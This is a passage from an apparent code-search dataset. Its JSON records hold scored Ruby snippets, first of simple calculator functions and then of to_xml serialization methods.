puts \"enter 'quit' to quit\"\n loop do\n user_choice = get_user_input\n break if user_choice == \"quit\"\n \n if !(operators_list.include?(user_choice))\n stack << user_choice.to_i\n end\n \n case (user_choice)\n when \"+\"\n add(stack)\n when \"-\"\n minus(stack)\n when \"*\"\n multiply(stack)\n when \"/\"\n divide(stack)\n end \n \n \n p stack\n end \nend", "title": "" }, { "docid": "734912d62b0316ca47e21976a17bd463", "score": "0.5899235", "text": "def calc(num1, mathop, num2)\n if mathop == \"+\"\n return num1 + num2\n elsif mathop == \"-\"\n return num1 - num2\n elsif mathop == \"*\"\n return num1 * num2\n elsif mathop == \"/\"\n return num1 / num2\n else\n return \"I did not recognize your input, please try again.\"\n end\nend", "title": "" }, { "docid": "e767e99d6f86418c84407cdb560a7bd9", "score": "0.58976305", "text": "def calculate(operator, num1, num2)\n # Use case when to invoke each method\n case operator\n when \"add\", \"+\"\n puts \"#{num1} + #{num2} = #{add(num1, num2)}\"\n # Do I need a return here\n when \"subtract\", \"-\"\n puts \"#{num1} - #{num2} = #{subtract(num1, num2)}\"\n when \"multiply\", \"*\"\n puts \"#{num1} * #{num2} = #{multiply(num1, num2)}\"\n when \"divide\", \"/\"\n puts \"#{num1} / #{num2} = #{divide(num1, num2)}\"\n when \"modulo\", \"%\"\n puts \"#{num1} % #{num2} = #{mod(num1, num2)}\"\n when \"exponify\", \"**\"\n puts \"#{num1}^#{num2} = #{exponify(num1, num2)}\"\n end\nend", "title": "" }, { "docid": "05eb37e71c6cd61ed1ed488a1b804fd3", "score": "0.58957374", "text": "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n basic_menu_choice = gets.chomp.downcase\n\n if basic_menu_choice == 'a'\n \tputs \"Enter the first number you want to add:\"\n \tx = gets.chomp.to_i\n \tputs \"Enter the second number you want to add:\"\n \ty = gets.chomp.to_i\n \tputs \"#{x} + #{y} = #{x + y}\"\n\n elsif basic_menu_choice== 's'\n \tputs \"Enter the first number you want to subtract:\"\n \tx = gets.chomp.to_i\n \tputs \"Enter the second number you want to subtract:\"\n \ty = gets.chomp.to_i\n \tputs \"#{x} - #{y} = #{x - y}\"\n\n elsif basic_menu_choice == 'm'\n \tputs \"Enter the first number you want to multiply:\"\n \tx = gets.chomp.to_i\n \tputs \"Enter the second number you want to multiply:\"\n \ty = gets.chomp.to_i\n \tputs \"#{x} x #{y} = #{x * y}\"\n\n elsif basic_menu_choice == 'd'5\n \tputs \"Enter the first number you want to divide:\"\n \tx = gets.chomp.to_i\n \tputs \"Enter the second number you want to divide by:\"\n \ty = gets.chomp.to_i\n \tputs \"#{x} / #{y} = #{x / y}\"\n\n else\n \tputs \"Invalid selection\"\n end\nend", "title": "" }, { "docid": "a0451ab9f24de1e2d9abcc83c1405b95", "score": "0.5891321", "text": "def calculate(integer, operator, integer1)\n\tif operator == \"+\"\n\t\tp integer + integer1\n\telsif operator == \"-\"\n\t\tp integer - integer1\n\telsif operator == \"*\"\n\t\tp integer * integer1\n\telsif operator == \"/\"\n\t\tp integer / integer1\n\telse\n\t\tp \"I'm sorry that's not a valid equation!\"\n\t\t\n\tend\nend", "title": "" }, { "docid": "f232ebd2d3c346245398dcbd82421dc3", "score": "0.5888042", "text": "def plus\n\t\tif @operands.size>= 2\n\t\t\[email protected] (@operands.pop + @operands.pop)\n\t\telse\n\t\t\traise \"calculator is empty\"\n\t\tend\n\tend", "title": "" }, { "docid": "42dd29b649367d0faa95261a345f6af5", "score": "0.58853334", "text": "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n choice = gets.chomp\n case\n when choice == \"a\"\n puts \"What would you like to add?\"\n print \"First number: \"\n num1 = gets.chomp.to_f\n print \"Ok, now the second number: \"\n num2 = gets.chomp.to_f\n puts \"Your maths equal #{num1 + num2}\"\n menu\n when choice == \"s\"\n puts \"What would you like to subtract?\"\n print \"First number: \"\n num1 = gets.chomp.to_f\n print \"Ok, now the second number: \"\n num2 = gets.chomp.to_f\n puts \"Your maths equal #{num1 - num2}\"\n menu\n when choice == \"m\"\n puts \"What would you like to multiply?\"\n print \"First number: \"\n num1 = gets.chomp.to_f\n print \"Ok, now the second number: \"\n num2 = gets.chomp.to_f\n puts \"Your maths equal #{num1 * num2}\"\n menu\n when choice == \"d\"\n puts \"What would you like to divide?\"\n print \"First number: \"\n num1 = gets.chomp.to_f\n print \"Ok, now the second number: \"\n num2 = gets.chomp.to_f\n puts \"Your maths equal #{num1 / num2}\"\n menu\n end\nend", "title": "" }, { "docid": "2b06ebb10fc273bffaaf9391505056fd", "score": "0.5857655", "text": "def calculator(operation, num1, num2)\n \n if [\"+\", \"-\", \"*\" , \"/\"].include?(operation)\n num1.method(operation).(num2)\n else\n puts \"Invalid operation!\"\n nil\n end\nend", "title": "" }, { "docid": "b213c0064be820e95d18904594cf0386", "score": "0.5856357", "text": "def advanced_calc\n print \"(p)ower, (s)qrt: \"\n\nend", "title": "" }, { "docid": "b6c77064e834abcb2a809e27a9f3d571", "score": "0.58545715", "text": "def evaluate(ops)\n \t\tops = tokens(ops)\n \t\tmethods = {:+ => Proc.new{plus()}, :- => Proc.new{minus()}, :* => Proc.new{times()}, :/ => Proc.new{divide()}}\n \t\tops.each do |op|\n \t\t\tif methods.has_key?(op)\n \t\t\t\tmethods[op].call\n \t\t\telse\n \t\t\t\tpush(op)\n \t\t\tend\n \t\tend\n \t\tvalue()\n end", "title": "" }, { "docid": "a70b2f9b6f88a48247e9787233ca14d8", "score": "0.5844994", "text": "def initialize\n\t\t@calculator = []\n\tend", "title": "" }, { "docid": "87f6c5615125861200314e3ac716495d", "score": "0.58385193", "text": "def calculator(x, operator, y)\r\n\r\n\tif ['+', '-', '*', '/'].include? operator\r\n\t\tcalculation = x.send(operator.to_sym, y) #send x to object (operator which has been converted to a symbol) and y. calculation will now = x (operator) y\r\n\telse\r\n\t\tputs \"ERROR! Invalid input. Please try again.\"\r\n\tend\r\n\treturn calculation #previously had this set to 'print' instead of 'return' which was causing issues when needing to print a history of values returned\r\nend", "title": "" }, { "docid": "09af1991e50c9a77b8916eb5185e1a15", "score": "0.58371145", "text": "def calculate # create calculate function\n begin\n $meters.value = (0.3048*$feet*10000.0).round()/10000.0 # if number has been entered calculate meters from feet if\n rescue\n $meters.value = '' # if no number was entered print nothing\n end\nend", "title": "" }, { "docid": "b989d9235bee534ecd4817232c13be74", "score": "0.5832271", "text": "def basic_calc\n\n\n print Rainbow(\"(a)\").green + \"dd, \" + Rainbow(\"(s)\").yellow + \"ubtract, \" + Rainbow(\"(m)\").red + \"ultiply, \" + Rainbow(\"(d)\").cyan + \"ivide: \"\n basic_function = gets.chomp.downcase\n print \"Enter first number: \"\n first_number = gets.chomp.to_f\n print \"Enter second number: \"\n second_number = gets.chomp.to_f\n case basic_function\n when \"a\"\n answer = first_number + second_number\n puts \"Your answer is #{answer}\"\n when \"s\"\n answer = first_number - second_number\n puts \"Your answer is #{answer}\"\n when \"m\"\n answer = first_number * second_number\n puts \"Your answer is #{answer}\"\n when \"d\"\n answer = first_number / second_number\n puts \"Your answer is #{answer}\"\n \n else\n puts \"incorrect\"\n end \ngets\nend", "title": "" }, { "docid": "6e4ff68ac1b7101b98247b9872303249", "score": "0.5827751", "text": "def calculate_answer(operator, a, b)\r\n\r\n if operator == \"add\"\r\n return result= a + b\r\n elsif operator == \"subtract\"\r\n return result = a - b\r\n elsif operator == \"multiply\"\r\n return result = a * b\r\n elsif operator == \"divide\"\r\n return result = a / b\r\n\r\n end\r\n\r\nend", "title": "" }, { "docid": "c7905eb24785c26f3b1b5aea23627054", "score": "0.5815822", "text": "def calculator\n\tputs \"Would you like to use this calculator to 'add', 'subtract', 'multiply' or 'divide'?\"\n\n\tchoice = gets.chomp\n\n\tcase choice\n\t\twhen \"add\"\n\t\t\tputs \"What's your first number to add?\"\n\t\t\tnum1 = gets.chomp.to_f\n\t\t\tputs \"What's your second number to add?\"\n\t\t\tnum2 = gets.chomp.to_f\n\t\t\tnum3 = num1 + num2\n\t\t\tputs \"#{num1} + #{num2} = #{num3}\"\n\t\twhen \"subtract\"\n\t\t\tputs \"What's your first number to subtract?\"\n\t\t\tnum1 = gets.chomp.to_f\n\t\t\tputs \"What's your second number to subtract?\"\n\t\t\tnum2 = gets.chomp.to_f\n\t\t\tnum3 = num1 - num2\n\t\t\tputs \"#{num1} - #{num2} = #{num3}\"\n\t\twhen \"multiply\"\n\t\t\tputs \"What's your first number to multiply?\"\n\t\t\tnum1 = gets.chomp.to_f\n\t\t\tputs \"What's your second number to multiply?\"\n\t\t\tnum2 = gets.chomp.to_f\n\t\t\tnum3 = num1 * num2\n\t\t\tputs \"#{num1} * #{num2} = #{num3}\"\n\t\twhen \"divide\"\n\t\t\tputs \"What's your first number to divide?\"\n\t\t\tnum1 = gets.chomp.to_f\n\t\t\tputs \"What's your second number to divide?\"\n\t\t\tnum2 = gets.chomp.to_f\n\t\t\tnum3 = num1 / num2\n\t\t\tputs \"#{num1} / #{num2} = #{num3}\"\n\t\telse\n\t\t\tputs \"check yo spelling foo ... I said enter 'add', 'subtract', 'multiply' or 'delete':\"\n\t\t\tcalculator\n\tend\nend", "title": "" }, { "docid": "d5768e1ae8e4c81fa6e6dc62e10097ba", "score": "0.5815701", "text": "def calculate_answer(operator, a, b)\n\n if operator == \"add\"\n return result= a + b\n elsif operator == \"subtract\"\n return result = a - b\n elsif operator == \"multiply\"\n return result = a * b\n elsif operator == \"divide\"\n return result = a / b\n\nend", "title": "" }, { "docid": "84d26c6e67da77f4194c7356f4d6cd6c", "score": "0.58138865", "text": "def postfix_evaluator(equation)\n stack = []\n for i in equation do\n if str_to_num(i)\n stack.push(str_to_num(i))\n puts stack\n elsif (\"+-*/\").include?(i)\n second_num = stack.pop\n if stack != []\n first_num = stack.pop\n result = math(i, first_num, second_num)\n stack.push(result)\n else\n raise \"Not enough arguments\"\n end\n else\n raise \"Invalid number\"\n end\n end\n stack.pop()\nend", "title": "" }, { "docid": "a4480aa794b6ae6c9e14aaf7f1398eba", "score": "0.5807897", "text": "def calculate(program)\n operator = ''\n a = 0\n b = 0\n thearray = program.split(\",\").map { |s| s.to_i }\n thearray.each_with_index do | val, key |\n case key.divmod(4)[1]\n when 0\n case val\n when 1\n operator = 'add'\n when 2\n operator = 'multiply'\n when 99\n break\n else\n @result = \"program input invalid\"\n break\n end\n when 1\n a = thearray.at(val)\n #puts \"A is #{a}\"\n when 2\n b = thearray.at(val)\n #puts \"B is #{b}\"\n else\n case operator\n when 'add'\n thearray[val] = a + b\n else\n thearray[val] = a * b\n end\n end\n end\n @result = thearray.join(\",\")\n end", "title": "" }, { "docid": "b9a74a56603347f025b17c51685c54ea", "score": "0.57995063", "text": "def calculator num1, operator, num2\n # Our 'if' statement checks to see if we have found the string of plus or minus and uses the according operator.\n if operator == \"plus\"\n return num1 + num2\n else\n return num1 - num2\n end\n end", "title": "" }, { "docid": "1470112ec5842a0db88d60d8fd2d6444", "score": "0.5798705", "text": "def perform_calc(opr, val1, val2)\n result = 0\n case opr\n when '*'\n result = val1.to_f * val2.to_f\n when \"/\"\n result = val1.to_f / val2.to_f\n when \"+\"\n result = val1.to_f + val2.to_f\n when \"-\"\n result = val1.to_f - val2.to_f\n end\n result.round(2)\n end", "title": "" }, { "docid": "d87fdea29af06d5428642d079256f1bc", "score": "0.57974255", "text": "def test_addition\n test = Calculator.new\n assert_equal(4.0 , test.solve_equation(\"2 2 +\"))\n assert_equal(2.0 , test.solve_equation(\"-2 +\"))\n assert_equal(-18.0 , test.solve_equation(\"-20 +\"))\n end", "title": "" }, { "docid": "91e618e630689b85b335ec96f129182d", "score": "0.5788711", "text": "def calender_calculator\n\t@cal = Calender.new\n\[email protected]_output\n\[email protected]\n\tloop do\n\t\tprint \"Press P for Prev Month calender N next month calender E to Exit \\n\"\n\t\[email protected]_output\n\t\tinput = gets.chomp\n\t\tbreak if input == 'E'\n\t\t\tif (input == 'P') |(input == 'N')\n\t\t\t\[email protected]_current_start(input)\n\t\t\t\[email protected]\n\t\t\telse\n\t\t\t\tprint \"Wrong input ----- \\n\"\n\t\t\tend\n\tend\nend", "title": "" }, { "docid": "7e5137e48a488d50fe2d3a685c31d5e8", "score": "0.57856125", "text": "def basic_calc\n\n\n print Rainbow(\"(a)\").green + \"dd, \" + Rainbow(\"(s)\").yellow + \"ubtract, \" + Rainbow(\"(m)\").red + \"ultiply, \" + Rainbow(\"(d)\").cyan + \"ivide: \"\n basic_function = gets.chomp.downcase\n print \"Enter first number: \"\n first_number = gets.chomp.to_f\n print \"Enter second number: \"\n second_number = gets.chomp.to_f\n case basic_function\n when \"a\"\n answer = first_number + second_number\n puts \"Your answer is #{answer}\"\n when \"s\"\n answer = first_number - second_number\n puts \"Your answer is #{answer}\"\n when \"m\"\n answer = first_number * second_number\n puts \"Your answer is #{answer}\"\n when \"d\"\n answer = first_number / second_number\n puts \"Your answer is #{answer}\"\n \n else\n puts \"incorrect\"\n end \n gets\n menu\nend", "title": "" }, { "docid": "8e79302ed0e072a34cbd1f58f55622f6", "score": "0.57819074", "text": "def solve_math_problem\n puts 'What is your first number'\n first_number = gets.chomp\n if /\\d+.?\\d*/ =~ first_number\n @numbers << first_number.to_f\n else\n puts 'start over'\n solve_math_problem\n end\n puts 'What is your operator?'\n @operators.each do |o|\n puts o\n end\n @numbers << gets.chomp\n puts 'What is your second number' #prints out the [2] value in the array\n second_number = gets.chomp\n if /\\d+.?\\d*/ =~ second_number\n @numbers << second_number.to_f\n else\n puts 'start over'\n solve_math_problem\n end\n math_problem\n @numbers.clear\n menu\nend", "title": "" }, { "docid": "ae644ebfab37a7e3153f211c7126541c", "score": "0.57696986", "text": "def calculator_1(operator, num1, num2)\n outcome = num1.send(operator, num2)\nend", "title": "" }, { "docid": "27d228e5291bdd40c776705748c2d7b0", "score": "0.5764035", "text": "def perform_operations(equation)\n remaining_operators = (OPERATIONS_IN_ORDER & equation)\n\n until remaining_operators.empty?\n equation = handle_operation(equation)\n\n remaining_operators = (OPERATIONS_IN_ORDER & equation)\n end\n\n equation\n end", "title": "" } ]
fe9bbbe7198bd3b3ffd3d03e1a79339a
Return the definition of this instance of AppProperty as an XML element (does the reverse of 'from_xml') [Return] an XML element
[ { "docid": "284c2818d86a72848b59b2c1aca7b09c", "score": "0.66437644", "text": "def to_xml\n a = REXML::Element.new(\"property\")\n a.add_attribute(\"id\", name)\n a.add_element(\"name\").text = name\n if (parameter)\n a.add_element(\"parameter\").text = parameter\n end\n if (description)\n a.add_element(\"description\").text = description\n end\n if (@options)\n p @options\n @options.each {|name, value|\n a.add_element(name.to_s).text = value.to_s\n }\n end\n return a\n end", "title": "" } ]
[ { "docid": "a7f5398c5712f3a84693d5b778182497", "score": "0.76945645", "text": "def to_xml\n a = REXML::Element.new(\"property\")\n a.add_attribute(\"name\", idref)\n if isBound\n a.add_element(\"binding\", {\"idref\" => bindingRef})\n elsif value != nil\n v = a.add_element(\"value\")\n v.text = value\n if (unit != nil)\n v.add_attribute(\"unit\", unit)\n end\n else\n Log.warn(\"NOT IMPLEMENTED: check for default value in app definition\")\n end\n return a\n end", "title": "" }, { "docid": "fd8e6eda816962a8aff00b832af6a689", "score": "0.63787335", "text": "def to_xml options = {}\n properties.to_xml options\n end", "title": "" }, { "docid": "727457769edce93975afd03709d0bfad", "score": "0.623593", "text": "def to_s\n return self.xml\n end", "title": "" }, { "docid": "45964bb0b5cec9352dffed2d65166e22", "score": "0.61934435", "text": "def to_xml(xml)\n xml.Default(self.instance_values)\n end", "title": "" }, { "docid": "6b657f906aaaf0084d47f3873a3946bd", "score": "0.6171222", "text": "def to_xml(*)\n self\n end", "title": "" }, { "docid": "419e8a93b82728f99723416ace7c4609", "score": "0.611032", "text": "def to_xml(builder, opf_version = '3.0')\n attr = @attributes.dup\n if opf_version.to_f < 3.0\n attr.reject!{ |k,_v| k == 'properties' }\n end\n if !attr['properties'].nil?\n attr['properties'] = attr['properties'].uniq.join(' ')\n if attr['properties'].size == 0\n attr.delete 'properties'\n end\n end\n builder.item(attr)\n end", "title": "" }, { "docid": "716d5a795a85aac4f49bc1cb97d61d92", "score": "0.6101417", "text": "def to_xml(builder)\n builder.value value, type: type\n end", "title": "" }, { "docid": "e142963ea396ccc4fabf515612ccc88b", "score": "0.6098237", "text": "def to_xml\n Builder.new(self).to_s\n end", "title": "" }, { "docid": "67a03e7b4b678c5fa12386109d71a219", "score": "0.60743093", "text": "def to_xml\n return self.to_s\n end", "title": "" }, { "docid": "20e2a31accedffb531f15dbf2009903e", "score": "0.606919", "text": "def to_xml\n @xml ||= get_xml\n end", "title": "" }, { "docid": "4f20b86fea9f6b1ef05c64fdfda57647", "score": "0.6063511", "text": "def to_xml\n builder.target!\n end", "title": "" }, { "docid": "55dc98810105a0df962297b7e8760adc", "score": "0.6041973", "text": "def to_xml\n return to_s\n end", "title": "" }, { "docid": "55dc98810105a0df962297b7e8760adc", "score": "0.6041973", "text": "def to_xml\n return to_s\n end", "title": "" }, { "docid": "c1968c93b04c0c2979ff820fbf9487ed", "score": "0.6020794", "text": "def element_for_attribute(name, namespace = '')\n val = Axlsx.instance_values_for(self)[name]\n return \"\" if val.nil?\n\n format(\"<%s:%s val='%s'/>\", namespace, Axlsx.camel(name, false), val)\n end", "title": "" }, { "docid": "acdbb537747e77c3f12e1d3e986ef88c", "score": "0.5954728", "text": "def to_xml(ns=nil)\n %[#{@name}=\"#{@value}\"]\n end", "title": "" }, { "docid": "28c2d4f7f738c9ddaab0344864813590", "score": "0.5927474", "text": "def to_xml(xml)\n xml.Override(self.instance_values)\n end", "title": "" }, { "docid": "8a61c32b983ad848ee3a50b7075530cd", "score": "0.5915009", "text": "def inner_xml\n child.to_s\n end", "title": "" }, { "docid": "9798b1f9f1672d9c2eb48e0336ce056f", "score": "0.5871121", "text": "def to_s\n @xml\n end", "title": "" }, { "docid": "ffde0a424aeaca16e0b417ef4eb1f033", "score": "0.5849398", "text": "def to_xml\n self.to_s\n end", "title": "" }, { "docid": "ffde0a424aeaca16e0b417ef4eb1f033", "score": "0.5849398", "text": "def to_xml\n self.to_s\n end", "title": "" }, { "docid": "d235aa1f1541b1e4214574169614dade", "score": "0.5838945", "text": "def to_xml\n to_xml_builder.to_xml\n end", "title": "" }, { "docid": "d235aa1f1541b1e4214574169614dade", "score": "0.5838945", "text": "def to_xml\n to_xml_builder.to_xml\n end", "title": "" }, { "docid": "172c683edfa7cb139018191a530caae9", "score": "0.5820857", "text": "def to_xml\n return @doc.to_s\n end", "title": "" }, { "docid": "7eeb04df7ba5ac9de8869db788503b5c", "score": "0.5819148", "text": "def xml\n @_node.asXml\n end", "title": "" }, { "docid": "b82d2c1aaccfecdb1d90795ecc51fd05", "score": "0.58115095", "text": "def to_xml()\n XmlSimple.xml_out( { :address => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "title": "" }, { "docid": "3ec26f4d7722c966fa821693ad512e29", "score": "0.57741565", "text": "def instance_to_xml\r\n ATTRIBUTES_MAP.each do |name, hash|\r\n elem = @xml.root.elements[hash[\"element\"]]\r\n elem = @xml.root.elements.add(hash[\"element\"]) if elem.nil?\r\n val = self.send(name)\r\n val = self.send(hash[\"to_xml\"], val) if hash.has_key?(\"to_xml\")\r\n if hash.has_key?(\"attribute\")\r\n elem.attributes[hash[\"attribute\"]] = val\r\n else\r\n elem.text = val\r\n end\r\n end\r\n end", "title": "" }, { "docid": "a83da982313414c1584d336bf80d1a29", "score": "0.5746402", "text": "def root_element\n root.xml \n end", "title": "" }, { "docid": "4cb52f9c7bd4201a620f161ed4bc35da", "score": "0.5704568", "text": "def to_xml_string(str = +'')\n str << '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n str << '<Properties xmlns=\"' << APP_NS << '\" xmlns:vt=\"' << APP_NS_VT << '\">'\n Axlsx.instance_values_for(self).each do |key, value|\n node_name = Axlsx.camel(key)\n str << \"<#{node_name}>#{value}</#{node_name}>\"\n end\n str << '</Properties>'\n end", "title": "" }, { "docid": "02c6c3b5f995a87850e713a8f3e5f6ea", "score": "0.5693471", "text": "def build_node(member)\n node = Atom::XML::Node.new('apps:property')\n node.attributes['name'] = 'memberId'\n node.attributes['value'] = member\n\n node\n end", "title": "" }, { "docid": "ed2d84cc58cce3776b9e901cdf94271b", "score": "0.5663262", "text": "def to_xml\n @builder.to_xml\n end", "title": "" }, { "docid": "af0a4f7cb10069dc9b67c18d03f75b08", "score": "0.5610866", "text": "def to_xml\n\t\tend", "title": "" }, { "docid": "af0a4f7cb10069dc9b67c18d03f75b08", "score": "0.5610866", "text": "def to_xml\n\t\tend", "title": "" }, { "docid": "3ca487dd9e178d82a99f0e6cdeecbed1", "score": "0.5604294", "text": "def to_xml\n builder = Builder::XmlMarkup.new(:indent=>2)\n builder.instruct! :xml, version: '1.0', encoding: 'UTF-8'\n xml = builder.items{ self.each{|x| builder.item(x) } }\n xml\n end", "title": "" }, { "docid": "46c24127dc4f184fae2e596fda3287b2", "score": "0.5596789", "text": "def to_element\n self\n end", "title": "" }, { "docid": "6651c34732e86167805a9b2e352fd315", "score": "0.55835885", "text": "def to_xml(b = Builder::XmlMarkup.new(:indent => 2))\n optional_root_tag(parent.class.optional_xml_root_name, b) do |c|\n c.tag!(model.class.xml_node_name || model.model_name) {\n attributes.each do | key, value |\n field = self.class.fields[key]\n value = self.send(key) if field[:calculated]\n xml_value_from_field(b, field, value) unless value.nil?\n end\n }\n end\n end", "title": "" }, { "docid": "df251688b1a7e17eaa762e9e9ba53ceb", "score": "0.5566834", "text": "def to_xml(xml)\n xml.member(:type => type, :ref => ref, :role => role)\n end", "title": "" }, { "docid": "a3bdb8d688a7a889c2fd5528cfb97d5b", "score": "0.55663943", "text": "def to_xml\n render_xml\n end", "title": "" }, { "docid": "0159e5eedb85a38bcca7bec60bb45d7b", "score": "0.555752", "text": "def to_docx(tag)\n prop_str = @properties.to_docx if @properties\n #\n \"<#{tag}#{attributes_to_docx}>#{prop_str}#{children_to_docx}</#{tag}>\"\n end", "title": "" }, { "docid": "e259c70dff16ce7ab96f614ef4fb958d", "score": "0.5550116", "text": "def build_xml\n raise NotImplementedError, \"Override build_xml in subclass\"\n end", "title": "" }, { "docid": "2c9158876a690e590fc519b8844c2dda", "score": "0.55483603", "text": "def to_xml\n @xml.to_xml\n end", "title": "" }, { "docid": "ed647a6db74948c8870ab2a69ecdac46", "score": "0.55361146", "text": "def to_xml()\n XmlSimple.xml_out( { :email => self.to_hash() },\n { :KeepRoot=>true, :NoAttr=>true } )\n end", "title": "" }, { "docid": "2d6393787f5b5a00f992d8d2d72638dc", "score": "0.5522872", "text": "def to_xml\n xml = Builder::XmlMarkup.new\n case\n when @self_closing && @content_type == 'container'\n xml.tag!(@name, @attributes)\n when @value.nil?\n xml.tag!(@name, @attributes.merge!(\"xsi:nil\" => \"true\"))\n when ::Hash === @value\n xml.tag!(@name, @attributes) { xml << XmlFu::Hash.to_xml(@value) }\n when ::Array === @value\n case @content_type\n when \"collection\"\n xml << XmlFu::Array.to_xml(@value.flatten, {\n :key => (@self_closing ? \"#{@name}/\" : @name),\n :attributes => @attributes,\n :content_type => \"collection\"\n })\n when \"container\"\n xml.tag!(@name, @attributes) { xml << XmlFu::Array.to_xml(@value) }\n else\n # Shouldn't be anything else\n end\n else\n xml.tag!(@name, @attributes) { xml << self.value.to_s }\n end\n xml.target!\n end", "title": "" }, { "docid": "5d57d0f6d6baecd2e48fb503226b82dd", "score": "0.55145675", "text": "def to_xml\n doc = Nokogiri::XML::Document.new\n element = to_nokogiri(doc)\n element.to_s\n end", "title": "" }, { "docid": "5d57d0f6d6baecd2e48fb503226b82dd", "score": "0.55145675", "text": "def to_xml\n doc = Nokogiri::XML::Document.new\n element = to_nokogiri(doc)\n element.to_s\n end", "title": "" }, { "docid": "c680db9b1112e070d2e58e57dcce6ed7", "score": "0.55134934", "text": "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "67be7f5aacd3423211e68e28643c5072", "score": "0.5494981", "text": "def properties\n @properties ||= Element::Properties.new(self)\n end", "title": "" }, { "docid": "7f473a154ca6f5e08df4a540039bd018", "score": "0.5483434", "text": "def generatexml()\n merge(gadrgeneratexml: 'true')\n end", "title": "" }, { "docid": "c0b8bf77b872a8d62bd9b58d08fa2942", "score": "0.54745865", "text": "def to_xml()\n XmlSimple.xml_out( { :person => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "title": "" }, { "docid": "0708b4a206e96e99b5ca5ec51efbd998", "score": "0.5471984", "text": "def to_xml(ns=nil)\n x = super.chomp(\"/>\").chomp(\" \")\n x << %[>]\n #self.class.inherited_elements.each do |name, kind, opts|\n xml_schema_elements.each do |name, kind, opts|\n obj = send(name)\n next unless obj\n case obj\n when Array\n obj.each do |v|\n if v.is_a? Tag\n x << v.to_xml(xml_namespace)\n else\n x << %[<#{name}>#{xml_escape(v.to_s)}</#{name}>]\n end\n end\n else\n if obj.is_a? Tag\n x << obj.to_xml(xml_namespace)\n else\n x << %[<#{name}>#{xml_escape(obj.to_s)}</#{name}>]\n end\n end\n end\n x << %[</#{xml_tagname}>]\n x\n end", "title": "" }, { "docid": "cf8208895d943b7e59f8663bb47a4282", "score": "0.54717195", "text": "def to_xml\n\t\t\t\"<#{@name} #{attributes_string} />\"\n\t\tend", "title": "" }, { "docid": "ac91121d0efe99e28f3b2e8d0422634d", "score": "0.545459", "text": "def to_xml(elem_name = nil)\n # The root element is the class name, downcased\n elem_name ||= self.class.to_s.split('::').last.downcase\n root = Element.new elem_name\n\n # Add each BaseObject member to the root elem\n self.members.each do |field_name|\n next if self.class::MUTABILITY[field_name.to_sym] == :read_only\n\n value = self.send(field_name)\n\n if value.is_a?(Array)\n node = root.add_element(field_name)\n value.each { |array_elem|\n array_elem_name = 'line' if field_name == 'lines'\n node.add_element(array_elem.to_xml(array_elem_name))\n }\n elsif !value.nil?\n root.add_element(field_name).text = value\n end\n end\n root\n end", "title": "" }, { "docid": "83ee1ee4050b6911ae4d22da6b59f39d", "score": "0.5440298", "text": "def to_xml(ns=nil)\n x = super.chomp(\"/>\").chomp(\" \")\n x << \">\"\n x << xml_escape(xml_value.to_s)\n x << \"</#{xml_tagname}>\"\n x\n end", "title": "" }, { "docid": "d2e2218b8a1aaa9f3a7ab8084e37f923", "score": "0.5438227", "text": "def xml=(value)\n @model, @extracted_value = nil, nil\n @xml = value.kind_of?(REXML::Document) ? value.root : value\n attach_xml\n @xml\n end", "title": "" }, { "docid": "0e74e2bbb530bbfc065fcea92f1305a7", "score": "0.5434964", "text": "def to_xml(options = {})\n xml = options[:builder] ||= Builder::XmlMarkup.new\n xml.instruct! unless options[:skip_instruct]\n xml.member(:type => type, :ref => ref, :role => role)\n end", "title": "" }, { "docid": "6d3cf07ff5138efc594a6be86b3ccfd5", "score": "0.54326487", "text": "def to_xml_string(str = '')\n str << '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n str << ('<Properties xmlns=\"' << APP_NS << '\" xmlns:vt=\"' << APP_NS_VT << '\">')\n instance_values.each do |key, value|\n node_name = Axlsx.camel(key)\n str << \"<#{node_name}>#{value}</#{node_name}>\"\n end\n str << '</Properties>'\n end", "title": "" }, { "docid": "2f7a3bc5b2bce4426d81c520d178c8e4", "score": "0.5425928", "text": "def to_node(options={})\n options[:doc] ||= Nokogiri::XML::Document.new\n\n tag_name = options[:binding] && options[:binding].from\n root_tag = options[:wrap] || tag_name || representation_wrap\n\n create_representation_with(Nokogiri::XML::Node.new(root_tag.to_s, options[:doc]), options, PropertyBinding)\n end", "title": "" }, { "docid": "26610a3ec94e870ebe48b0931cd4055e", "score": "0.54231304", "text": "def to_xml\n to_node.document.to_xml\n end", "title": "" }, { "docid": "b3577da1761cf5e8031040a2aec112a3", "score": "0.5421275", "text": "def generatexml()\n merge(rvgeneratexml: 'true')\n end", "title": "" }, { "docid": "f50f2fb42378e3edeb78d1561840f5ea", "score": "0.54143506", "text": "def to_xml\n Builder.new(permission, grantee).to_s\n end", "title": "" }, { "docid": "7432e96f12fa545f0de9e55cc92a8c9e", "score": "0.5409031", "text": "def to_xml(xml_builder)\n attributes = {\n 'metadata:type' => type,\n }\n\n xml_builder['data'].send(name.to_sym, attributes) do\n properties.each do |name, property|\n property.to_xml(xml_builder)\n end\n end\n end", "title": "" }, { "docid": "bbd588dd8f49c59770326b64c12f6e7f", "score": "0.54019266", "text": "def to_xml(opt={})\n to_markup(opt).target!\n end", "title": "" }, { "docid": "bbd588dd8f49c59770326b64c12f6e7f", "score": "0.54019266", "text": "def to_xml(opt={})\n to_markup(opt).target!\n end", "title": "" }, { "docid": "5950cd111e7d4f4ecd6df39948a66c33", "score": "0.5388899", "text": "def xml_builder\n return Builder::XmlMarkup.new(:indent=>2, :margin=>4)\n end", "title": "" }, { "docid": "36b9386ed5739f4e12867e11d723eddf", "score": "0.53603196", "text": "def to_xml\n Ox.to_xml document\n end", "title": "" }, { "docid": "0748faa0659c09bf96fe07fef8e2643e", "score": "0.5358569", "text": "def toxml\n\t\tend", "title": "" }, { "docid": "24e3b03a325a924675e397ec7adb78dc", "score": "0.53367597", "text": "def to_xml(options={})\n attributes.to_xml({:root => self.class.element_name}.merge(options))\n end", "title": "" }, { "docid": "24e3b03a325a924675e397ec7adb78dc", "score": "0.53367597", "text": "def to_xml(options={})\n attributes.to_xml({:root => self.class.element_name}.merge(options))\n end", "title": "" }, { "docid": 